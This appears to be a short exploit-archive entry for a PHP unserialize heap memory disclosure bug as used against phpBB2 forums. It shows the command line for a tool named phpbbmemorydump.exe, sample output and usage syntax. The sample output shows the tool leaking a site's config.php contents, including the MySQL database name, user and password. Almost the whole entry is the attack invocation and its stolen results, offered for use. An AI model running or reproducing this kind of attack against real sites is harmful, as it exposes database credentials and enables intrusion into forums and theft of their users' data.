php bug in ext/standart/var_unserializer.c
http://www.securityfocus.com/archive/1/384663/2004-12-13/2004-12-19/0
for read heap memorie with phpbb2 ;>
tested :
phpbbmemorydump.exe "http://site.com/phpbb/" 30000 -cookiename=phpbb2support > a.txt
result:
- string detected : /home/virtual/site.com/phpBB/config.php
- string detected : dbname
- string detected : PT_N
- string detected : phpbb
- string detected : dbuser
- string detected : phpbb << mysql user
- string detected : dbpasswd
- string detected : phpBB_R0cKs << mysql password
- string detected : table_prefix
- string detected : phpbb_
use like :
phpbbmemorydump.exe "http://site.com/phpbb2/" nboctettoreadinheap [repeat/display_all_heap]
[-cookiename=phpbb2mysql]
